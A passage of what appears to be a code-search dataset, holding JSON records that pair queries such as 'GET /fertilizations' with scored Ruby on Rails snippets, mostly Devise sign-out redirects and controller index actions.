after_sign_out_path_for(resource_or_scope)\n \"/\"\n end", "title": "" }, { "docid": "8ef2806a52459413ded52a2e43c4ed79", "score": "0.7648671", "text": "def after_sign_out_path_for(resource_or_scope)\n :back\n end", "title": "" }, { "docid": "118fcf3e2b37787b698c7d7fae18ca5e", "score": "0.76414305", "text": "def after_sign_out_path_for(user)\n new_user_session_path\n end", "title": "" }, { "docid": "5f53b194084dd88a980820730e6799eb", "score": "0.76360905", "text": "def after_sign_out_path_for resource\n root_path\n end", "title": "" }, { "docid": "40372df52967c0d5f62a2a081e5ebfea", "score": "0.7635136", "text": "def after_sign_out_path_for(resource)\n users_path\n end", "title": "" }, { "docid": "d096e98e628b365f5b229bf126d3ba08", "score": "0.7632876", "text": "def after_sign_out_path_for(resource_or_scope)\n user_session_path\n end", "title": "" }, { "docid": "d096e98e628b365f5b229bf126d3ba08", "score": "0.7632876", "text": "def after_sign_out_path_for(resource_or_scope)\n user_session_path\n end", "title": "" }, { "docid": "d096e98e628b365f5b229bf126d3ba08", "score": "0.7632876", "text": "def after_sign_out_path_for(resource_or_scope)\n user_session_path\n end", "title": "" }, { "docid": "3adab26c47b2a334ac38cbd1911db178", "score": "0.7631297", "text": "def after_sign_out_path_for(resource_or_scope)\n log_out_path\n end", "title": "" }, { "docid": "f7809f275c340c03fc453cb6419e1e91", "score": "0.7623889", "text": "def after_sign_out_path_for(_resource)\n root_path\n end", "title": "" }, { "docid": "2dd5583a27c6b3da69db3500ffa2b7cc", "score": "0.7622437", "text": "def after_sign_out_path_for(resource_or_scope)\n if logout_path.present?\n logout_path\n else\n super(resource_or_scope)\n end\n end", "title": "" }, { "docid": "2dd5583a27c6b3da69db3500ffa2b7cc", "score": "0.7622437", "text": "def after_sign_out_path_for(resource_or_scope)\n if logout_path.present?\n logout_path\n else\n super(resource_or_scope)\n end\n end", "title": "" }, { "docid": "2dd5583a27c6b3da69db3500ffa2b7cc", "score": "0.7622437", "text": "def after_sign_out_path_for(resource_or_scope)\n if logout_path.present?\n logout_path\n else\n super(resource_or_scope)\n end\n end", "title": "" }, { "docid": "06cf1ed92550b4e968297f9b0ee82e6c", "score": "0.76195174", "text": "def sign_out\n @controller.sign_out\n end", "title": "" }, { "docid": "eb11ea50454c6673d7dc4aa8fae284c8", "score": "0.7617919", "text": "def after_sign_out_path_for(resource)\n \troot_path\n end", "title": "" }, { "docid": "946f0f39480246b26b78a6a02331d990", "score": "0.7613417", "text": "def after_sign_out_path_for(resource_or_scope)\n home_path(:ref => \"logout\")\n end", "title": "" }, { "docid": "a2fa04e162adae5b52a02eac2367aed1", "score": "0.7583769", "text": "def after_sign_out_path_for(_resource_or_scope)\n root_path\n end", "title": "" }, { "docid": "a2fa04e162adae5b52a02eac2367aed1", "score": "0.7583769", "text": "def after_sign_out_path_for(_resource_or_scope)\n root_path\n end", "title": "" }, { "docid": "a2fa04e162adae5b52a02eac2367aed1", "score": "0.7583769", "text": "def after_sign_out_path_for(_resource_or_scope)\n root_path\n end", "title": "" }, { "docid": "a2fa04e162adae5b52a02eac2367aed1", "score": "0.7583769", "text": "def after_sign_out_path_for(_resource_or_scope)\n root_path\n end", "title": "" }, { "docid": "2b09335d9b0c1811b7bc9f78880519d3", "score": "0.7582062", "text": "def after_sign_out_path_for(_resource_or_scope)\n logout_confirmation_path\n end", "title": "" }, { "docid": "a08a805f4d726374d3294bca5d8c4ca5", "score": "0.75714266", "text": "def after_sign_out_path_for(resource)\n new_user_session_path\n end", "title": "" }, { "docid": "b390c80e51f7da75081750f4430bf130", "score": "0.75676423", "text": "def after_sign_out_path_for(resource)\n root_path\nend", "title": "" }, { "docid": "54d04953c6fbf988b79381349ad12052", "score": "0.75638676", "text": "def after_sign_out_path_for(resource)\n new_user_account_session_url\n end", "title": "" }, { "docid": "3622199af46932bbf36ea246fc51ae91", "score": "0.7562174", "text": "def after_sign_out_path_for resource_or_scope\n new_user_session_path\n end", "title": "" }, { "docid": "f9f2754db8ab161f69ddd18fb8994462", "score": "0.75604814", "text": "def sign_out\n logout\n end", "title": "" }, { "docid": "019f14acbd76e0c85285ad95ccd59184", "score": "0.75579655", "text": "def after_sign_out_path_for(resource_or_scope)\n login_path\n end", "title": "" }, { "docid": "041f4a0d4db9c20cd1173e56a523b721", "score": "0.75575614", "text": "def after_sign_out_path_for(resource_or_scope)\n # root_path\n new_user_session_path\n end", "title": "" }, { "docid": "041f4a0d4db9c20cd1173e56a523b721", "score": "0.75575614", "text": "def after_sign_out_path_for(resource_or_scope)\n # root_path\n new_user_session_path\n end", "title": "" }, { "docid": "72c49c6a993782af406f4b87eb302eef", "score": "0.7553498", "text": "def full_sign_out\n delete '/session'\n end", "title": "" }, { "docid": "508e2fa929a8be50d4f19ecc49aca052", "score": "0.7552281", "text": "def after_sign_out_path_for(resource_or_scope)\n \troot_path\n end", "title": "" }, { "docid": "29961dd8a43a6f8344a5417b3457a1b8", "score": "0.754936", "text": "def after_sign_out_path_for(_resource_or_scope)\n new_user_session_url\n end", "title": "" }, { "docid": "4d45c1c4d0e84fab16770fcc315172f0", "score": "0.75488466", "text": "def after_sign_out_path_for(_resource_or_scope)\n # scope = Devise::Mapping.find_scope!(resource_or_scope)\n # router_name = Devise.mappings[scope].router_name\n # context = router_name ? send(router_name) : self\n # context.respond_to?(:root_path) ? context.root_path : \"/\"\n\n # the goal of this method being redefined is to get rid of \"You need to sign in or sign up before continuing.\" flash message\n # that is displayed right after you sign out(root path is authorization-restricted).\n new_user_session_path\n end", "title": "" }, { "docid": "5cd5a1883b9539049848c2b25d36fc6b", "score": "0.75487584", "text": "def after_sign_out_path_for(resource_or_scope)\n :root\n end", "title": "" }, { "docid": "5c7b97f4274714e9fd88d9a653a02686", "score": "0.7545844", "text": "def after_sign_out_path_for(resource)\n \"http://www.happyhealth.me\" \n end", "title": "" }, { "docid": "2af3dddf6ead6f516f612f838ab0fb08", "score": "0.7541643", "text": "def after_sign_out_path_for(resource_or_scope)\n session=nil\n root_path\n end", "title": "" }, { "docid": "2af3dddf6ead6f516f612f838ab0fb08", "score": "0.7541643", "text": "def after_sign_out_path_for(resource_or_scope)\n session=nil\n root_path\n end", "title": "" } ]
246f26ecab30748551d7532f1753f81e
GET /fertilizations GET /fertilizations.json
[ { "docid": "4996dc16d4e92d27952d3cd9941c22be", "score": "0.0", "text": "def index\n @fertilizations = Fertilization.where(user: current_user).page(params[:page]).per(12)\n\n if (params[:from] != '' && params[:to] != '') && (params[:from] != nil && params[:to] != nil)\n @fertilizations = @fertilizations.where(\"date >= :start_date AND date <= :end_date\",\n {start_date: params[:from], end_date: params[:to]})\n\n elsif params[:from] != '' && params[:to] == ''\n @fertilizations = @fertilizations.where(\"date >= :start_date\", \n {start_date: params[:from]})\n\n elsif params[:from] == '' && params[:to] != ''\n @fertilizations = @fertilizations.where(\"date <= :end_date\", \n {end_date: params[:to]})\n end\n\n if params[:fertilizer] != nil\n if params[:fertilizer][:id] != ''\n @fertilizations = @fertilizations.where(\"fertilizer_id = :fertilizerid\", \n {fertilizerid: params[:fertilizer][:id]})\n end\n end\n\n if params[:parcel] != nil\n if params[:parcel][:id] != ''\n @fertilizations = @fertilizations.where(\"parcel_id = :parcelid\", \n {parcelid: params[:parcel][:id]})\n end\n end\n\n end", "title": "" } ]
[ { "docid": "0068be8d679d781740a9165129698f38", "score": "0.63789964", "text": "def get_formation_users\n @rest['users/users_formation'].get\n end", "title": "" }, { "docid": "fe565e4f7f0d90d296fad6ea32e1ddf1", "score": "0.6219415", "text": "def show\n @fetznedition = Fetznedition.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fetznedition }\n end\n end", "title": "" }, { "docid": "6184a1e0362d6deb790dcb095d2c0f16", "score": "0.620934", "text": "def index\n @felicities = Felicity.all\n end", "title": "" }, { "docid": "76fae392847ff2f1aa59ca2adfb00071", "score": "0.61659914", "text": "def index\n @filials = Filial.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @filials }\n end\n end", "title": "" }, { "docid": "fedf5a84131cecb7445691e37d072256", "score": "0.61625266", "text": "def index\n logement = Logement.find(params[:logement_id])\n \n if logement.frais_suples.present? \n frais_suples = logement.frais_suples\n render json:{\n frais_suples:frais_suples\n }\n else\n render json:{\n ok: :\"no\"\n }\n end\n end", "title": "" }, { "docid": "8005341c9dffdc75602acb5f4911b924", "score": "0.6089883", "text": "def show\n @fertilizer = Fertilizer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fertilizer }\n end\n end", "title": "" }, { "docid": "42f9cc8f8453d12e7c80d267fabdd82c", "score": "0.6089403", "text": "def index\n @facilities = Facility.paginate(:page => params[:page], :per_page => 5)\n json_response(@facilities)\n end", "title": "" }, { "docid": "ffc6e14a304324956e6e6bfa0292a847", "score": "0.60878426", "text": "def index\n\t\t@fallacies = Fallacy.all\n\tend", "title": "" }, { "docid": "6149efde432d7abdba191d652b0418dc", "score": "0.60811174", "text": "def index\n @facilitations = Facilitation.all\n end", "title": "" }, { "docid": "30dc25df4f3790feed2c73cf407effc8", "score": "0.6029626", "text": "def index\n @festivals = Festival.all\n end", "title": "" }, { "docid": "389d14604c4b4df3279c28f0f9ffca04", "score": "0.6022517", "text": "def index\n @secundario_fators = SecundarioFator.all\n end", "title": "" }, { "docid": "a7a8dc7da833520a39d0e48f82872634", "score": "0.6012001", "text": "def index\n @fstates = Fstate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fstates }\n end\n end", "title": "" }, { "docid": "3c2b49de547da20a7f727042ceb7b860", "score": "0.6010658", "text": "def index\n @frients = Frient.all\n end", "title": "" }, { "docid": "c3a6eb29655d0266fae941c13bef8f51", "score": "0.60071355", "text": "def index\n @terciario_fators = TerciarioFator.all\n end", "title": "" }, { "docid": "b431c7aa3716367a3ad1fb07c4aed187", "score": "0.5958115", "text": "def index\n @frais_deplacements = FraisDeplacement.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @frais_deplacements }\n end\n end", "title": "" }, { "docid": "ffc156ca6e97eaf3ce6bebe9c012552e", "score": "0.5949193", "text": "def festival_list\n\n if params[:festival_name] == ''\n params[:festival_id] = ''\n end\n\n if params[:festival_id].length > 0\n @festivals = []\n id = params[:festival_id].to_i\n @festivals << Festival.find(id)\n else\n date = params[:date] == '' ? Date.today : params[:date]\n\n @festivals = Festival.search(params, date, session.id)\n\n end\n # byebug\n @img_classes = Festival.set_background(@festivals.length)\n\n @festivals_hash = []\n\n @festivals.each do |festival|\n hash = {\n id: festival.id,\n name: festival.name,\n date: festival.date,\n city: festival.city,\n state: festival.state,\n lat: festival.latitude,\n lng: festival.longitude\n }\n\n @festivals_hash << hash\n end\n\n gon.festivals = @festivals_hash\n\n respond_to do |format|\n format.js {render layout: false}\n end\n end", "title": "" }, { "docid": "1ac1acaa88a461675ef2a17d17a324f6", "score": "0.5936635", "text": "def index\n @list_furnitures = current_user.list_furnitures.all\n end", "title": "" }, { "docid": "3279deec10a772db622e0c9fe25922f6", "score": "0.59281254", "text": "def show_furniture_types\n if params[:furniture_room_id]\n @furniture_types = FurnitureType.where(furniture_room_id: params[:furniture_room_id])\n else\n @furniture_types = FurnitureType.all\n end\n\n respond_with (@furniture_types) do |format|\n format.json { render json: @furniture_types.to_json(:only => [:id, :furniture_room_id, :furniture_class])}\n end\n end", "title": "" }, { "docid": "00dbe03d154de6dcb8078f9f9faa6f52", "score": "0.5920065", "text": "def invited_f_and_f_list\n invited_f_and_fs = InvitedFandFVendor.where(invitee_id: @current_user.id).select([:email, :created_at])\n render json: invited_f_and_fs, status: 200\n end", "title": "" }, { "docid": "9018af06596d0d63c000c964d5567896", "score": "0.58999157", "text": "def show\n\t\t@fallacy = Fallacy.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html { }\n\t\t\tformat.json { render :json => {:fallacy => @fallacy}.to_json }\n\t\tend\n\tend", "title": "" }, { "docid": "3a81af8d5ed98d17530797fcb91a2d3e", "score": "0.589311", "text": "def index\r\n @ftts = FttResult.all\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @ftts }\r\n end\r\n end", "title": "" }, { "docid": "944a8ddec7392808990187bbaf2fbfbc", "score": "0.5892094", "text": "def index\n @filieres = Filiere.all\n end", "title": "" }, { "docid": "828ba4ab9b730ae6419097e3f4785103", "score": "0.5891442", "text": "def show\n render json: @fees_and_commission\n end", "title": "" }, { "docid": "843d58988034007baf9824c6e623dbcb", "score": "0.588968", "text": "def index\n @feriados = Feriado.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @feriados }\n end\n end", "title": "" }, { "docid": "7a81faeec7b3349736b987264f174ec7", "score": "0.5863111", "text": "def index\n @feses = Fes.all\n end", "title": "" }, { "docid": "f302ca6225dbd256b6c5cd84cf912722", "score": "0.5862883", "text": "def index\n @funnels = Funnel.list\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @funnels }\n end\n end", "title": "" }, { "docid": "a3b4a0b8354112c7507fa8272dbe6b8a", "score": "0.5862001", "text": "def index\n @ftes = Fte.all\n end", "title": "" }, { "docid": "f55b8a3fe0a4b9d4d165d78d3bea14d0", "score": "0.58576196", "text": "def index\n @fests = Fest.all\n end", "title": "" }, { "docid": "54c65e04abb1d844ab600164853ce7ea", "score": "0.5846159", "text": "def index\n @falta = Faltum.all\n end", "title": "" }, { "docid": "f180b027332944d196e2a9d9d6ff88b6", "score": "0.58411133", "text": "def index\n @ef_generals = EfGeneral.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ef_generals }\n end\n end", "title": "" }, { "docid": "b73571d886b9e67c70f942bba60e026b", "score": "0.58353716", "text": "def show\n @flier = Flier.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @flier }\n end\n end", "title": "" }, { "docid": "3dd63e9370b82ab6d18a5f036a597174", "score": "0.58251905", "text": "def index\n @friens = Frien.all\n end", "title": "" }, { "docid": "2a09fb2aa8bb2db5456420dc9cba2873", "score": "0.58249694", "text": "def index\n surgeries = Surgery.all\n if surgeries.present?\n # response to the JSON\n render json: { success: true, response: surgeries.map{ |f| SurgerySerializer.new(f).as_json( root: false ) } }\n else\n render :json=> { success: false, message: \"Surgery is not present.\" },:status=> 203\n end \n end", "title": "" }, { "docid": "9fcb566801f42769fe9d0963dda3ad1a", "score": "0.5822188", "text": "def index\n @fencers = Fencer.all\n end", "title": "" }, { "docid": "9fcb566801f42769fe9d0963dda3ad1a", "score": "0.5822188", "text": "def index\n @fencers = Fencer.all\n end", "title": "" }, { "docid": "a2c5c113635b088556822634131d7dca", "score": "0.58212864", "text": "def set_fertilization\n @fertilization = Fertilization.find(params[:id])\n end", "title": "" }, { "docid": "60d5de0cfead4034e27b92c2b12101eb", "score": "0.5819849", "text": "def index\n @thief_talents = ThiefTalent.all\n\n render json: @thief_talents\n end", "title": "" }, { "docid": "71d2d08fea0deee9f810d95f913dd9d3", "score": "0.5819673", "text": "def show\n @funeral = Funeral.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @funeral }\n end\n end", "title": "" }, { "docid": "13faba83db42542cfb3ed7ababf0782c", "score": "0.5811005", "text": "def new\n @fetznedition = Fetznedition.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fetznedition }\n end\n end", "title": "" }, { "docid": "d783f592b6045caa81e5fc07d32fa1f1", "score": "0.58010626", "text": "def index\n @federations = Federation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml\n end\n end", "title": "" }, { "docid": "521123b84552fdf09a853dfe3428e32a", "score": "0.5800498", "text": "def index\n #@course_fees = CourseFee.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @course_fees }\n end\n end", "title": "" }, { "docid": "1dbca614df9991411e766b45f5558e3c", "score": "0.5769155", "text": "def index\n @filepaths = if params[:offenders].to_s == 'true'\n Filepath.offenders\n else\n Filepath.all\n end\n render_json_for_api @filepaths\n end", "title": "" }, { "docid": "0a53f4e8df24b9514e2c2d07dd22e9fe", "score": "0.576389", "text": "def show\n @frivillig = Frivillig.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @frivillig }\n end\n end", "title": "" }, { "docid": "6a8cd5bdfd004229547f6bdfa6db1ab8", "score": "0.5761186", "text": "def index\n @filials = Filial.all\n end", "title": "" }, { "docid": "02b4459e623a193c4e1110e0a47e1a17", "score": "0.5752981", "text": "def show\n @f = F.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @f }\n end\n end", "title": "" }, { "docid": "93ebf99179155dd5e88afa8e19fa0444", "score": "0.5749587", "text": "def index\n render json: fpl_team_list_hash\n end", "title": "" }, { "docid": "9760bbcaf1e593ee0ab2ce0d781d2949", "score": "0.5740751", "text": "def index\n @fun_facts = FunFact.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fun_facts }\n end\n end", "title": "" }, { "docid": "2a6d9ba802bece367d974bd771faa88e", "score": "0.57402015", "text": "def index\n @fellows = Fellow.all\n\n render json: @fellows\n end", "title": "" }, { "docid": "43a4901e7268a90f5f2970a838e64865", "score": "0.57354295", "text": "def index\n @fragrances = Fragrance.all\n end", "title": "" }, { "docid": "ab562415734011277ec7ab35b639fc0c", "score": "0.5735277", "text": "def show\n @facilitation = Facilitation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @facilitation }\n end\n end", "title": "" }, { "docid": "00da9f2773cea79834cbc9917f218bb7", "score": "0.57344955", "text": "def index\n @fus = Fu.all\n end", "title": "" }, { "docid": "08f2d3a900633b68d3385a5fff678daf", "score": "0.57243574", "text": "def index\n @flrs = Flr.all\n end", "title": "" }, { "docid": "2c97ce0b6c1fdcb9ab9b05c2abbbb9b6", "score": "0.5721153", "text": "def index\n @selection_flute_sizes = SelectionFluteSize.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @selection_flute_sizes }\n end\n end", "title": "" }, { "docid": "37bd14dd919f69f1fb664ab7913e2a11", "score": "0.57147336", "text": "def index\n render json: LessonVitalFact.all\n end", "title": "" }, { "docid": "3547781ef8b7941705dfcd0a386ff148", "score": "0.5713812", "text": "def index\n @fs = F.all\n end", "title": "" }, { "docid": "ebdd8e824c93989734da70d162fcc4cb", "score": "0.57109094", "text": "def index\n\n #jesli ustawiona\n # session.delete(:firm)\n\n # dla formularza new\n @firm = current_user.firms.build if signed_in?\n @locations = @firm.locations\n\n # @firms = Firm.all\n # dla tabeli index\n @firms = Firm.find(:all, :conditions => [\"user_id = ?\", current_user.id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @firms }\n end\n end", "title": "" }, { "docid": "1ce36e3153c6c893e3d1716a7a638b8e", "score": "0.5708424", "text": "def index\n @formations = Formation.all\n end", "title": "" }, { "docid": "4fcf514dd93d054a8238d44faddd49d0", "score": "0.570699", "text": "def index\n @frineds = Frined.all\n end", "title": "" }, { "docid": "9c083253341f9ee883a5d97ceef0d50a", "score": "0.5703938", "text": "def index\n\t\t@leagues = Fantasy.where(private_access: false, active: true, published: true, full:false, locked:false)\n\t\trender json: @leagues\n\tend", "title": "" }, { "docid": "c9ab05ce853b465418f23ba9fb385db7", "score": "0.57028383", "text": "def show\n @fullfilment = Fullfilment.where(id: params[:id])\n if @fullfilment.exists?\n render json: @fullfilment, status: :ok\n else\n render json: {status: \"error\", message: \"Can't find fullfilment\"}, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "a9401a9edbad3f02e75141a058578b24", "score": "0.57000685", "text": "def index\n @fares = Fare.all\n end", "title": "" }, { "docid": "cebeeddaf248d189202e745930caf07d", "score": "0.5698879", "text": "def index\n @facilities = Facility.find(:all)\n @user = User.current_user\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @facilities.to_xml }\n end\n end", "title": "" }, { "docid": "e12a62650d1f454c370d02f73105d4b2", "score": "0.5697448", "text": "def index\n @fireflies = Firefly.all\n end", "title": "" }, { "docid": "f27f58934014e45eba48f27aa12055b0", "score": "0.56856984", "text": "def index\n @situation_teaching_equipaments = SituationTeachingEquipament.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @situation_teaching_equipaments }\n end\n end", "title": "" }, { "docid": "96aa52aca73bb24dd61b5f58f64a03e3", "score": "0.5685339", "text": "def index\n @fraudes = Fraude.all\n end", "title": "" }, { "docid": "39829cc085e6d70ac8c333fbb6474242", "score": "0.56842136", "text": "def foods\n @establishment = Establishment.find(params[:id])\n @foods = @establishment.foods\n\n respond_to do |format|\n format.json { render 'foods/index' }\n end\n end", "title": "" }, { "docid": "7ddcfdccbab4c3d1efb9f1fad7fcae8e", "score": "0.5682502", "text": "def index\n @facilities = Facility.all\n end", "title": "" }, { "docid": "7ddcfdccbab4c3d1efb9f1fad7fcae8e", "score": "0.5682502", "text": "def index\n @facilities = Facility.all\n end", "title": "" }, { "docid": "7ddcfdccbab4c3d1efb9f1fad7fcae8e", "score": "0.5682502", "text": "def index\n @facilities = Facility.all\n end", "title": "" }, { "docid": "df64c1bd903c0f9ea9ea94e3e433597e", "score": "0.5681419", "text": "def index\n @frizures = Frizure.all\n end", "title": "" }, { "docid": "ac195a5a91d88b067d37991e6b3a5ade", "score": "0.5679392", "text": "def show\n respond_to do |format|\n format.html\n format.json do\n render json: @fee, only: [:title, :description],\n include: {\n fee_type: {\n only: [:title, :amount],\n include: {\n form_type: {\n only: [:number, :form_name]\n }\n }\n }\n }\n end\n end\n end", "title": "" }, { "docid": "fdabeb626fe5becd1f0968174986fb6e", "score": "0.56771433", "text": "def show\n @financiation = Financiation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @financiation }\n end\n end", "title": "" }, { "docid": "60b2f69a8611c35f71cab64dd854320b", "score": "0.5674456", "text": "def index\n @economy_participations = EconomyParticipation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @economy_participations }\n end\n end", "title": "" }, { "docid": "d2201ba34f6cd5442567394b98509794", "score": "0.56725055", "text": "def show\n @fatigue = Fatigue.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fatigue }\n end\n end", "title": "" }, { "docid": "aa840e9cb888d28bbc71103740810b20", "score": "0.5672292", "text": "def index\n @filmes = Filme.where(ativo: true, usuario_id: current_usuario.id)\n \trender json: @filmes.map(&:encode)\n end", "title": "" }, { "docid": "1619e0de960b34feac78dc0e7f559bfa", "score": "0.5666564", "text": "def show\n render json: fpl_team_list_hash\n end", "title": "" }, { "docid": "abc1f7f94b48028c6c2d89e36bb4513e", "score": "0.5665725", "text": "def index\n @factualities = Factuality.all\n end", "title": "" }, { "docid": "34a4421d26d7b3c70aed901ea905ad99", "score": "0.56652033", "text": "def index\n @faireanneelangues = Faireanneelangue.all\n end", "title": "" }, { "docid": "6f38c2bdd8344db0776f87862e55ace4", "score": "0.5664475", "text": "def index\n @fees_and_commissions = FeesAndCommission.page(params[:page]).per(params[:per])\n\n render json: @fees_and_commissions\n end", "title": "" }, { "docid": "3f27978cb52ad82ea220828f6f59ffef", "score": "0.5663709", "text": "def index\n @facilitation_interaction_observations = FacilitationinteractionObservation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @facilitation_interaction_observations }\n end\n end", "title": "" }, { "docid": "5c79a8d91e6439afc4a5dcca25683b04", "score": "0.5662515", "text": "def show\n @feast = Feast.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feast }\n end\n end", "title": "" }, { "docid": "352fff3340497c2292af9516820822d3", "score": "0.56572264", "text": "def show\n @frit = Frit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @frit }\n end\n end", "title": "" }, { "docid": "08473b389f24111f6724b3f3e49940c3", "score": "0.56562614", "text": "def show\n @berufs_funktion = BerufsFunktion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @berufs_funktion }\n end\n end", "title": "" }, { "docid": "8d625bdb2af7caf954cfd6cd45f48d47", "score": "0.5655456", "text": "def index\n @funcionarios = Funcionario.all\n\n render json: @funcionarios, status: :ok\n end", "title": "" }, { "docid": "a0a5d5d9f091ffbbe5f12a18571ee396", "score": "0.5650943", "text": "def create\n @fertilization = Fertilization.new(fertilization_params)\n @fertilization.user = current_user\n\n respond_to do |format|\n if @fertilization.save\n format.html { redirect_to @fertilization, notice: 'Votre suivi de fertilisation a été ajouté avec succès.' }\n format.json { render :show, status: :created, location: @fertilization }\n else\n format.html { render :new }\n format.json { render json: @fertilization.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2c79ae9cd2c6127b8229019cbb16abd4", "score": "0.56500703", "text": "def index\n @lhfe_flights = LhfeFlight.upcoming\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @lhfe_flights }\n end\n end", "title": "" }, { "docid": "9c302b7a0580bbd857f648e432a4967e", "score": "0.56458145", "text": "def index\n @fact_fields = FactField.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fact_fields }\n end\n end", "title": "" }, { "docid": "affe298cd4fc4bd8e475abc350b34bbb", "score": "0.56443995", "text": "def index *_\n @futures = users_futures\n\n render json: @futures\n end", "title": "" }, { "docid": "9bdb135ab90af8e675e1b006761afa08", "score": "0.5639426", "text": "def index\n @fellowships = Fellowship.all\n\n render json: @fellowships\n end", "title": "" }, { "docid": "9802a36f0594c8d91f7752e744741476", "score": "0.5628674", "text": "def index\n @users_facilities = UsersFacility.all\n end", "title": "" }, { "docid": "9c3731ddf5880f57bbce935d4687ecec", "score": "0.562184", "text": "def index\n @frecuencies = Frecuency.all\n end", "title": "" }, { "docid": "b22db12260d3d6c98673767ae04cebc4", "score": "0.56191826", "text": "def index\n @gastos_fertilizantes = GastosFertilizante.all\n end", "title": "" }, { "docid": "5e3113b90001397a285338636a163c91", "score": "0.5617771", "text": "def index\n if current_user.admin?\n @afformations = Afformation.where(user_id: nil)\n else\n @afformations = current_user.afformations\n end\n\n render json: { afformations: @afformations, status: :ok }\n end", "title": "" }, { "docid": "93150f7036451c6df61a05efefcab41d", "score": "0.56153846", "text": "def index\n #@fee_types = Fee.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fee_types }\n end\n end", "title": "" }, { "docid": "5c4c167f9e86a4821949213d6de9ecae", "score": "0.5615171", "text": "def getfree()\n # Consume servicio de Registros para saber cuales son las habitaciones que existen\n # habitaciones = RestClient.get '3.92.2.102:8082/api/rooms' # ip publica\n habitaciones = RestClient.get 'registro.lavanderia.local:8082/api/rooms' # ip privada\n body = JSON.parse(habitaciones.body)\n ids_habitaciones = []\n\n # Una vez que obtiene todas las habitaciones que existen busca cuales de estas no tienen deudas\n \n # Se podria hacer asi si facturacion conociera todos los cuartos de ante mano\n #@global = FacGlobal.where( \"estado_global\" => 1 )\n #render json: @global\n\n body.each do |registro|\n global = FacGlobal.where( \"id_cuarto\" => registro['id_cuarto'], \"estado_global\" => 1 )\n if ( global.length > 0 )\n ids_habitaciones.push global[0]['id_cuarto']\n else\n # verifica que facturacion conosca el cuarto\n # si no lo conoce no tiene deudas\n global = FacGlobal.where( \"id_cuarto\" => registro['id_cuarto'] )\n if ( global.length == 0 )\n ids_habitaciones.push registro['id_cuarto']\n end\n end\n end\n\n res = { :ids_habitaciones => ids_habitaciones }\n\n render json: res\n\n end", "title": "" }, { "docid": "4fffed4912b8543be314e9bcc392e068", "score": "0.56133366", "text": "def index\n @federal_legislators = FederalLegislator.all\n end", "title": "" }, { "docid": "03dbf51f809a50e3d266291d36b2145b", "score": "0.5608634", "text": "def index\n @usfs = Usf.all\n end", "title": "" }, { "docid": "4fd86cab8169cf5e19754d6e03d4eee8", "score": "0.5600064", "text": "def index\n @military_battle_factions = Military::BattleFaction.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @military_battle_factions }\n end\n end", "title": "" }, { "docid": "2d5ec435704674210defab43841df1b3", "score": "0.55994797", "text": "def index\n @facility_properties = FacilityProperty.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @facility_properties }\n end\n end", "title": "" }, { "docid": "33262fb2b7e99bb148b74b180d39105e", "score": "0.5597131", "text": "def index\n @federalforms = Federalform.all\n end", "title": "" }, { "docid": "11e4651b4ffc6fdb08b9969eb14e40cd", "score": "0.5592323", "text": "def show\n return render json: 'Filial not found #{params[:id]} is not on our DB.', status: :unprocessable_entity unless @filial\n end", "title": "" } ]
5f854ccb24ea0002f6c275ad78f3c406
Method to print a list and make it look pretty input: output: Print shopping list formatted as "Quantity Item" steps: 1. Print Title 2. ITERATE through each item in list_items and print as formatted
[ { "docid": "3dc3bdcc7678d85bfd00169b4c085dfe", "score": "0.7806578", "text": "def display_list(list_items)\n title = \"Shopping List:\"\n puts title\n puts \"-\" * title.length\n list_items.each do |item_name, item_qty|\n puts \"#{item_qty}x - #{item_name}\"\n end\n\nend", "title": "" } ]
